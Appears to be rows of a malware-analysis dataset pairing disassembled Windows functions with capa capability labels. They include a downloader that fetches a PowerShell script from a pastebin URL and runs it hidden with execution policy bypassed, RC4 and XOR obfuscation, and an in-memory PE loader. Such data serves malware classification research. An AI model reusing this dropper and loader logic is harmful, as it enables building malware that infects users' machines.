joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4096d0
Capabilities:
Execute command
Get common file path
Get file attributes

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
lea ebx, [ebp - 0x620]
sub esp, 0x638
call fcn.00401990
mov dword [esp + 4], ebx
mov dword [esp], 0x104
call sub.KERNEL32.dll_GetTempPathA
sub esp, 8
test eax, eax
je 0x4097dd
lea esi, [ebp - 0x51c]
lea edi, [ebp - 0x418]
mov dword [esp + 0xc], ebx
mov dword [esp + 8], str._sby_niel.ps1
mov dword [esp + 4], 0x104
mov dword [esp], esi
call fcn.00402080
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], str.https:__pastebin.com_raw_EMUsKbrP
mov dword [esp + 8], str.powershell__Command__Invoke_WebRequest__Uri__s__OutFile__s_
mov dword [esp + 4], 0x400
mov dword [esp], edi
call fcn.00402080
mov dword [esp], edi
call sub.msvcrt.dll_system
test eax, eax
mov ebx, eax
jne 0x4097be
mov dword [esp], esi
call sub.KERNEL32.dll_GetFileAttributesA
add eax, 1
push edx
je 0x4097f0
mov dword [esp], str.Sucesso._Executando_o_script...
call sub.msvcrt.dll_puts
mov dword [esp + 0xc], esi
mov dword [esp + 8], str.powershell__w_h__ExecutionPolicy_Bypass__File___s_
mov dword [esp + 4], 0x400
mov dword [esp], edi
call fcn.00402080
mov dword [esp], edi
call sub.msvcrt.dll_system
test eax, eax
mov ebx, eax
je 0x4097cf
mov dword [esp], str.Falha_ao_executar_o_script.
mov ebx, 1
call sub.msvcrt.dll_puts
jmp 0x4097cf
mov dword [esp], str.Falha_ao_baixar_o_arquivo.
mov ebx, 1
call sub.msvcrt.dll_puts
lea esp, [ebp - 0x10]
mov eax, ebx
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret
mov dword [esp], str.Falha_ao_obter_o_diretrio_temporrio.
mov ebx, 1
call sub.msvcrt.dll_puts
jmp 0x4097cf
mov dword [esp], str.Falha._O_arquivo_no_foi_encontrado.
call sub.msvcrt.dll_puts
jmp 0x4097cf
Function at 0x994cdc
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x994d03
call fcn.00937288
mov dword [eax], esi
call fcn.00937275
push 0x16
pop esi
mov dword [eax], esi
call fcn.00937eca
mov eax, esi
jmp 0x994d58
test dword [ebp + 0xc], 0xfffffff9
jne 0x994ce9
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x994d30
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0093729b
pop ecx
call fcn.00937275
mov eax, dword [eax]
jmp 0x994d58
test al, 0x10
jne 0x994d56
test al, 1
je 0x994d56
test byte [ebp + 0xc], 2
je 0x994d56
call fcn.00937288
mov dword [eax], 5
call fcn.00937275
mov dword [eax], 0xd
jmp 0x994d27
xor eax, eax
pop esi
pop ebp
ret

Function at 0x54846e
Capabilities:
Encode data using xor

Disassembly:
call fcn.00549414
call fcn.00542c4a
stosd dword es:[edi], eax
xor al, byte [ecx + 0x37]
daa
ror byte [edx + edi*2], 1
cmp al, 0xd5
invalid

Function at 0x408930
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x4085d8
call fcn.00408955
sub eax, 0x9de94aca
inc edi
xor dword [ebx], edx
mov edi, edi
inc ebx
sub eax, eax
cmp ebx, ecx
jne fcn.00408930
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
je 0x430072
nop
nop
nop
nop
mov ebx, 0x408ecc
nop
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x32866d07
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x430060
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x182714b2
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x401800
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
sub esp, 0x400
push ebx
push ebp
push esi
push edi
xor ebx, ebx
xor esi, esi
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x14]
mov dword [esp + 0x10], ebx
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x414]
lea edi, [esp + 0x10]
mov eax, ebx
xor edx, edx
div dword [esp + 0x41c]
mov ebp, dword [esp + 0x418]
xor eax, eax
mov byte [ebx + ecx], bl
inc ebx
add edi, 4
cmp ebx, 0x100
mov al, byte [edx + ebp]
mov dword [edi - 4], eax
jl 0x40182a
xor eax, eax
lea edi, [esp + 0x10]
mov dl, byte [eax + ecx]
mov ebp, dword [edi]
mov ebx, edx
and ebx, 0xff
add ebx, ebp
add esi, ebx
and esi, 0x800000ff
jns 0x40187a
dec esi
or esi, 0xffffff00
inc esi
mov bl, byte [esi + ecx]
add edi, 4
mov byte [eax + ecx], bl
inc eax
cmp eax, 0x100
mov byte [esi + ecx], dl
jl 0x401859
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x400
ret

Function at 0x4018a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 0xc]
push esi
push edi
xor ecx, ecx
xor esi, esi
xor edi, edi
test eax, eax
jbe 0x40192c
mov eax, dword [esp + 0xc]
push ebx
push ebp
mov ebp, dword [esp + 0x18]
inc ecx
and ecx, 0x800000ff
jns 0x4018cb
dec ecx
or ecx, 0xffffff00
inc ecx
mov dl, byte [ecx + eax]
mov ebx, edx
and ebx, 0xff
add esi, ebx
and esi, 0x800000ff
jns 0x4018e8
dec esi
or esi, 0xffffff00
inc esi
mov bl, byte [esi + eax]
mov byte [esp + 0x18], dl
mov byte [ecx + eax], bl
mov ebx, dword [esp + 0x18]
mov byte [esi + eax], dl
xor edx, edx
mov dl, byte [ecx + eax]
and ebx, 0xff
add edx, ebx
and edx, 0x800000ff
jns 0x401916
dec edx
or edx, 0xffffff00
inc edx
mov dl, byte [edx + eax]
mov bl, byte [edi + ebp]
xor bl, dl
mov edx, dword [esp + 0x1c]
mov byte [edi + ebp], bl
inc edi
cmp edi, edx
jb 0x4018ba
pop ebp
pop ebx
pop edi
pop esi
ret
Function at 0x401a50
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
sub esp, 0x44
mov dl, byte [esp + 0x48]
mov cl, 0x41
mov byte [esp], cl
mov byte [esp + 1], 0x42
mov byte [esp + 2], 0x43
mov byte [esp + 3], 0x44
mov byte [esp + 4], 0x45
mov byte [esp + 5], 0x46
mov byte [esp + 6], 0x47
mov byte [esp + 7], 0x48
mov byte [esp + 8], 0x49
mov byte [esp + 9], 0x4a
mov byte [esp + 0xa], 0x4b
mov byte [esp + 0xb], 0x4c
mov byte [esp + 0xc], 0x4d
mov byte [esp + 0xd], 0x4e
mov byte [esp + 0xe], 0x4f
mov byte [esp + 0xf], 0x50
mov byte [esp + 0x10], 0x51
mov byte [esp + 0x11], 0x52
mov byte [esp + 0x12], 0x53
mov byte [esp + 0x13], 0x54
mov byte [esp + 0x14], 0x55
mov byte [esp + 0x15], 0x56
mov byte [esp + 0x16], 0x57
mov byte [esp + 0x17], 0x58
mov byte [esp + 0x18], 0x59
mov byte [esp + 0x19], 0x5a
mov byte [esp + 0x1a], 0x61
mov byte [esp + 0x1b], 0x62
mov byte [esp + 0x1c], 0x63
mov byte [esp + 0x1d], 0x64
mov byte [esp + 0x1e], 0x65
mov byte [esp + 0x1f], 0x66
mov byte [esp + 0x20], 0x67
mov byte [esp + 0x21], 0x68
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], 0x6a
mov byte [esp + 0x24], 0x6b
mov byte [esp + 0x25], 0x6c
mov byte [esp + 0x26], 0x6d
mov byte [esp + 0x27], 0x6e
mov byte [esp + 0x28], 0x6f
mov byte [esp + 0x29], 0x70
mov byte [esp + 0x2a], 0x71
mov byte [esp + 0x2b], 0x72
mov byte [esp + 0x2c], 0x73
mov byte [esp + 0x2d], 0x74
mov byte [esp + 0x2e], 0x75
mov byte [esp + 0x2f], 0x76
mov byte [esp + 0x30], 0x77
mov byte [esp + 0x31], 0x78
mov byte [esp + 0x32], 0x79
mov byte [esp + 0x33], 0x7a
mov byte [esp + 0x34], 0x30
mov byte [esp + 0x35], 0x31
mov byte [esp + 0x36], 0x32
mov byte [esp + 0x37], 0x33
mov byte [esp + 0x38], 0x34
mov byte [esp + 0x39], 0x35
mov byte [esp + 0x3a], 0x36
mov byte [esp + 0x3b], 0x37
mov byte [esp + 0x3c], 0x38
mov byte [esp + 0x3d], 0x39
mov byte [esp + 0x3e], 0x2b
mov byte [esp + 0x3f], 0x2f
mov byte [esp + 0x40], 0
lea eax, [esp]
cmp cl, dl
je 0x401bb4
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x401ba1
or eax, 0xffffffff
add esp, 0x44
ret
lea ecx, [esp]
sub eax, ecx
add esp, 0x44
ret
Function at 0x401bc0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
sub esp, 0x110
mov ecx, dword [esp + 0x114]
push esi
lea eax, [esp + 4]
push edi
push eax
push ecx
mov dword [esp + 0x10], 0
call fcn.00401930
mov esi, eax
add esp, 8
xor eax, eax
test esi, esi
jle 0x401c0c
mov ecx, dword [esp + 8]
mov dl, byte [eax + ecx]
add dl, 0x7a
mov byte [eax + ecx], dl
mov ecx, dword [esp + 8]
mov dl, byte [eax + ecx]
xor dl, 0x59
mov byte [eax + ecx], dl
inc eax
cmp eax, esi
jl 0x401bed
lea edi, [esp + 0xc]
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0xc], 0x47
mov byte [esp + 0xd], 0x65
mov byte [esp + 0xe], 0x74
mov byte [esp + 0xf], 0x6f
mov byte [esp + 0x10], 0x6e
mov byte [esp + 0x11], 0x67
mov byte [esp + 0x12], 0x35
mov byte [esp + 0x13], 0x33
mov byte [esp + 0x14], 0x38
mov byte [esp + 0x15], 0
lea edx, [esp + 0xc]
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x18]
push ecx
push edx
push eax
call fcn.00401800
mov ecx, dword [esp + 0x14]
push esi
lea edx, [esp + 0x28]
push ecx
push edx
call fcn.004018a0
mov eax, dword [esp + 0x20]
add esp, 0x18
pop edi
pop esi
add esp, 0x110
ret
Function at 0x401c80
Capabilities:
Contain obfuscated stackstrings
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
sub esp, 0x428
push ebx
push esi
xor ebx, ebx
push edi
mov al, 0x6c
push ebx
mov byte [esp + 0x14], al
mov byte [esp + 0x15], al
mov byte [esp + 0x25], al
push ebx
push ebx
lea eax, [esp + 0x18]
mov dl, 0x69
mov cl, 0x61
push ebx
push eax
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x44], ebx
mov byte [esp + 0x20], 0x4d
mov byte [esp + 0x21], 0x6f
mov byte [esp + 0x22], 0x7a
mov byte [esp + 0x23], dl
mov byte [esp + 0x26], cl
mov byte [esp + 0x27], 0x2f
mov byte [esp + 0x28], 0x34
mov byte [esp + 0x29], 0x2e
mov byte [esp + 0x2a], 0x30
mov byte [esp + 0x2b], 0x20
mov byte [esp + 0x2c], 0x28
mov byte [esp + 0x2d], 0x63
mov byte [esp + 0x2e], 0x6f
mov byte [esp + 0x2f], 0x6d
mov byte [esp + 0x30], 0x70
mov byte [esp + 0x31], cl
mov byte [esp + 0x32], 0x74
mov byte [esp + 0x33], dl
mov byte [esp + 0x34], 0x62
mov byte [esp + 0x36], 0x65
mov byte [esp + 0x37], 0x29
mov byte [esp + 0x38], bl
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
cmp edi, ebx
mov dword [esp + 0x2c], edi
jne 0x401d33
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x428
ret
mov ecx, dword [esp + 0x438]
push ebx
push SysReAllocStringLen
push ebx
push ebx
push ecx
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
cmp esi, ebx
jne 0x401d5c
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x428
ret
mov edx, dword [esp + 0x43c]
push ebp
push ebx
push ebx
push 2
push ebx
push ebx
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x401dd2
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x38]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x38]
push eax
push 0x400
push ecx
push esi
call ebx
mov eax, dword [esp + 0x2c]
lea edx, [esp + 0x34]
push 0
push edx
lea ecx, [esp + 0x40]
push eax
push ecx
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x2c]
test eax, eax
ja 0x401d83
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x30]
mov ebx, 1
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
pop ebp
pop edi
mov eax, ebx
pop esi
pop ebx
add esp, 0x428
ret
Function at 0x401e60
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x1c
mov cl, 0x72
mov al, 0x5c
mov byte [esp + 4], cl
mov byte [esp + 7], cl
mov cl, 0x70
push ebx
push edi
mov byte [esp + 0xa], al
mov byte [esp + 0x18], al
mov byte [esp + 0x1a], cl
mov byte [esp + 0x1b], cl
mov byte [esp + 0x21], al
mov ecx, 0x41
xor eax, eax
mov edi, 0x44afa8
mov bl, 0x50
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov byte [esp + 0xb], bl
mov byte [esp + 0x1c], bl
mov dl, 0x61
xor bl, bl
push eax
push 0x44afa8
mov byte [esp + 0x10], 0x43
mov byte [esp + 0x11], 0x3a
mov byte [esp + 0x15], 0x6f
mov byte [esp + 0x16], 0x67
mov byte [esp + 0x18], dl
mov byte [esp + 0x19], 0x6d
mov byte [esp + 0x1a], 0x20
mov byte [esp + 0x1b], 0x46
mov byte [esp + 0x1c], 0x69
mov byte [esp + 0x1d], 0x6c
mov byte [esp + 0x1e], 0x65
mov byte [esp + 0x1f], 0x73
mov byte [esp + 0x21], 0x41
mov byte [esp + 0x25], dl
mov byte [esp + 0x26], 0x74
mov byte [esp + 0x27], 0x63
mov byte [esp + 0x28], 0x68
mov byte [esp + 0x2a], bl
call fcn.004012f0
mov ecx, dword [esp + 0x30]
push ecx
push 0x44afa8
call fcn.004012f0
add esp, 0x10
mov dl, bl
add dl, 0x43
push edx
call fcn.00401df0
add esp, 4
test eax, eax
jne 0x401f3a
inc bl
cmp bl, 4
jl 0x401f1b
pop edi
pop ebx
add esp, 0x1c
ret
pop edi
mov eax, 1
pop ebx
add esp, 0x1c
ret
Function at 0x401fc0
Capabilities:
Contain obfuscated stackstrings
Get file size
Read file on windows

Disassembly:
sub esp, 0x30
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x14], 0
mov eax, dword [esp + 0x44]
mov dword [esp + 0x18], 0x3e8
push eax
call fcn.00401e60
add esp, 4
test eax, eax
je 0x402157
push 0
push 0
push 3
push 0
push 1
push SysReAllocStringLen
push 0x44afa8
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x402157
push 0
push esi
mov dword [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebp, eax
lea edi, [ebp + 1]
push edi
call 0x428e16
add esp, 4
lea ecx, [esp + 0x1c]
mov ebx, eax
push 0
push ecx
push ebp
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call 0x428e16
mov ecx, ebp
mov esi, ebx
mov edx, ecx
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push ebp
and ecx, 3
push ebx
rep movsb byte es:[edi], byte [esi]
mov dword [esp + 0x1c], eax
call fcn.00401f50
push ebx
call fcn.00402330
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40213c
lea eax, [esp + 0x30]
mov byte [esp + 0x20], 0x44
push eax
push esi
mov byte [esp + 0x29], 0x68
mov byte [esp + 0x2a], 0x6c
mov byte [esp + 0x2b], 0x4d
mov byte [esp + 0x2c], 0x65
mov byte [esp + 0x2d], 0x6d
mov byte [esp + 0x2e], 0x56
mov byte [esp + 0x2f], 0x65
mov byte [esp + 0x30], 0x72
mov byte [esp + 0x31], 0x73
mov byte [esp + 0x32], 0x67
mov byte [esp + 0x33], 0x74
mov byte [esp + 0x34], 0
mov byte [esp + 0x38], 0x44
mov byte [esp + 0x39], 0x6c
mov byte [esp + 0x3a], 0x6c
mov byte [esp + 0x3b], 0x46
mov byte [esp + 0x3c], 0x75
mov byte [esp + 0x3d], 0x55
mov byte [esp + 0x3e], 0x70
mov byte [esp + 0x3f], 0x67
mov byte [esp + 0x40], 0x72
mov byte [esp + 0x41], 0x61
mov byte [esp + 0x42], 0x64
mov byte [esp + 0x43], 0x72
mov byte [esp + 0x44], 0x73
mov byte [esp + 0x45], 0
call fcn.004027a0
add esp, 8
test eax, eax
je 0x402133
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x20]
push ecx
push str.xe5Zy0Mzq1Y4e_glP0exr1YX2PJMkvsd6l8FB4ERhzZsPICxO5U0pgSw5mVifR3sVlMgtw5ECVu6EYMrwcGAxCfEj5_GcP1MMwAeX9gMvgWhMY_a6jhL9vVZaQTP2sPDMQQWrkQHRMTUZEzcnlE2bQqQNE8Q6WiZHQviwgLKncdeJh8kOmJND9ZzDQFMKupFlCtAokojYDNXfj59ItUkCz67X0XL28Cgk_0XV3gUeY5VZfPQuMiHeyK4EzlwIg05hO7OqkU24P_aHJvndc_c3VLkpD0LHmO9Xg8fEuAiaYjUNhFWyzQRlp2iPOdCJA9XiOUHEPmN4TVdi6r1t5BpytBDfaTT7sqWB16O82GRG9BCVMUOuaP9Cni0o7iixb0VPWsD8fhcsUmhaxiGt9uG_ADQjO3cgJ3Eh8_ADbsyNR8nuVDRF5cL6zZ9IDKvqqo4niJyywMUPXX9KXMqRu25QFrWfi3YBjCN
push ebp
push edx
call eax
add esp, 0x10
mov dword [esp + 0x14], eax
push esi
call fcn.00402860
add esp, 4
push ebx
call 0x428e3f
mov eax, dword [esp + 0x14]
push eax
call 0x428e3f
mov eax, dword [esp + 0x1c]
add esp, 8
test eax, eax
jne 0x402185
push 0x44afa8
push str.4jNnIiz7AYoNw1UeJZ4Pf9MuSuPC7yrJAqbzENi0GW0
call fcn.00401c80
add esp, 8
test eax, eax
je 0x402175
mov dword [esp + 0x18], 0x14
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x401fcf
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x30
ret
Function at 0x402330
Capabilities:
Parse pe header

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
push ebp
push esi
cmp word [eax], 0x5a4d
push edi
je 0x402348
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov edi, dword [eax + 0x3c]
add edi, eax
mov dword [esp + 0x10], edi
cmp dword [edi], 0x4550
je 0x402361
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov eax, dword [edi + 0x50]
mov ecx, dword [edi + 0x34]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x2000
push eax
push ecx
call esi
mov ebp, eax
test ebp, ebp
jne 0x402398
mov edx, dword [edi + 0x50]
push 4
push 0x2000
push edx
push eax
call esi
mov ebp, eax
test ebp, ebp
jne 0x402398
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
xor eax, eax
push 4
push 0x1000
mov dword [ebx + 4], ebp
mov dword [ebx + 0xc], eax
mov dword [ebx + 8], eax
mov dword [ebx + 0x10], eax
mov eax, dword [edi + 0x50]
push eax
push ebp
call esi
mov ecx, dword [edi + 0x54]
push 4
push 0x1000
push ecx
push ebp
call esi
mov esi, dword [esp + 0x18]
mov edx, dword [edi + 0x54]
mov edi, eax
push ebx
mov ecx, dword [esi + 0x3c]
add ecx, edx
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c]
mov esi, dword [esp + 0x14]
push esi
push ecx
mov edx, dword [ecx + 0x3c]
add eax, edx
mov dword [ebx], eax
mov dword [eax + 0x34], ebp
call fcn.00402480
mov ecx, dword [esi + 0x34]
mov eax, ebp
add esp, 0xc
sub eax, ecx
je 0x402421
push eax
push ebx
call fcn.00402610
add esp, 8
push ebx
call fcn.00402690
add esp, 4
test eax, eax
je 0x402451
push ebx
call fcn.00402550
mov eax, dword [ebx]
add esp, 4
mov eax, dword [eax + 0x28]
test eax, eax
je 0x402469
add eax, ebp
test eax, eax
je 0x402451
push 0
push 1
push ebp
call eax
test eax, eax
jne 0x402462
push ebx
call fcn.00402860
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
mov dword [ebx + 0x10], 1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
pop ecx
ret
Function at 0x402480
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
push ebx
push ebp
xor ecx, ecx
mov ebp, dword [eax + 4]
mov eax, dword [eax]
mov dword [esp + 8], 0
mov cx, word [eax + 0x14]
cmp word [eax + 6], 0
lea ebx, [ecx + eax + 0x18]
jbe 0x402541
push esi
push edi
add ebx, 0x10
cmp dword [ebx], 0
jne 0x4024eb
mov edx, dword [esp + 0x1c]
mov esi, dword [edx + 0x38]
test esi, esi
jle 0x40251f
mov eax, dword [ebx - 4]
push 4
push 0x1000
add eax, ebp
push esi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, esi
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx - 8], edi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
jmp 0x40251f
mov ecx, dword [ebx - 4]
mov eax, dword [ebx]
push 4
push 0x1000
add ecx, ebp
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx]
mov esi, dword [ebx + 4]
mov edi, dword [esp + 0x18]
mov edx, ecx
add esi, edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebx - 8], eax
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x10]
inc eax
add ebx, 0x28
mov edx, dword [ecx]
xor ecx, ecx
mov dword [esp + 0x10], eax
mov cx, word [edx + 6]
cmp eax, ecx
jl 0x4024ae
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x402550
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
xor ecx, ecx
push ebp
mov ebx, dword [eax]
xor ebp, ebp
mov cx, word [ebx + 0x14]
cmp word [ebx + 6], bp
lea eax, [ecx + ebx + 0x18]
jbe 0x402604
push esi
push edi
lea edi, [eax + 0x24]
mov eax, dword [edi]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x4025a7
mov edx, dword [edi - 0x14]
mov eax, dword [edi - 0x1c]
push 0x4000
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x4025ea
lea ecx, [edx + ecx*2]
test eax, 0x4000000
lea edx, [esi + ecx*2]
mov edx, dword [edx*4 + 0x403ca8]
je 0x4025be
or dh, 2
mov ecx, dword [edi - 0x14]
test ecx, ecx
jne 0x4025d7
test al, 0x40
je 0x4025ce
mov ecx, dword [ebx + 0x20]
jmp 0x4025d5
test al, 0x80
je 0x4025ea
mov ecx, dword [ebx + 0x24]
test ecx, ecx
jbe 0x4025ea
lea eax, [esp + 0x10]
push eax
push edx
push ecx
mov ecx, dword [edi - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [esp + 0x18]
xor eax, eax
inc ebp
add edi, 0x28
mov ebx, dword [edx]
mov ax, word [ebx + 6]
cmp ebp, eax
jl 0x402574
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x40456c
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffdf4
mov ebx, edx
mov esi, eax
mov eax, ebx
xor edx, edx
call fcn.00407154
test esi, esi
jne 0x4045a4
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameW
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00407290
jmp 0x4045c2
call sub.kernel32.dll_GetCommandLineW
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00404450
mov edi, eax
test esi, esi
je 0x4045c2
cmp dword [ebx], 0
je 0x4045c2
dec esi
jmp 0x4045ab
add esp, 0x20c
pop edi
pop esi
pop ebx
ret

Function at 0x4045f8
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x494008], 0x8088405
inc edx
mov dword [ebx + 0x494008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x406050
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x49b04c], 0
je 0x4060b1
cmp word [0x49b328], 0xd7b2
jne 0x406079
cmp dword [0x49b330], 0
jbe 0x406079
mov eax, 0x49b324
call dword [0x49b340]
push 0
lea eax, [esp + 4]
push eax
push 0x1d
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4060dc
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x494030], 0
jne 0x4060cd
push 0
push 0x494798
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x40623c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 4], edx
mov edi, eax
mov esi, dword [ebp + 0x10]
cmp dword [0x494034], 0
je 0x406262
mov edx, esi
mov eax, ebx
call dword [0x494034]
jmp 0x406271
mov eax, 8
call fcn.004041b8
mov dword [eax], ebx
mov dword [eax + 4], esi
mov byte [0x49b04d], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x406204
push eax
mov eax, dword [ebp - 4]
push eax
push edi
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 0xc

Function at 0x407b54
Capabilities:
Get common file path
Set current directory

Disassembly:
push ebx
push esi
add esp, 0xfffffbe4
mov esi, edx
mov ebx, eax
test bl, bl
je 0x407b96
movzx eax, bl
add ax, 0x41
dec eax
mov word [esp], ax
mov word [esp + 2], 0x3a
mov word [esp + 4], 0
lea eax, [esp + 0x212]
push eax
push 0x105
call sub.kernel32.dll_GetCurrentDirectoryW
push esp
call sub.kernel32.dll_SetCurrentDirectoryW
lea eax, [esp + 8]
push eax
push 0x105
call sub.kernel32.dll_GetCurrentDirectoryW
test bl, bl
je 0x407bb6
lea eax, [esp + 0x212]
push eax
call sub.kernel32.dll_SetCurrentDirectoryW
mov eax, esi
lea edx, [esp + 8]
mov ecx, 0x105
call fcn.0040733c
add esp, 0x41c
pop esi
pop ebx
ret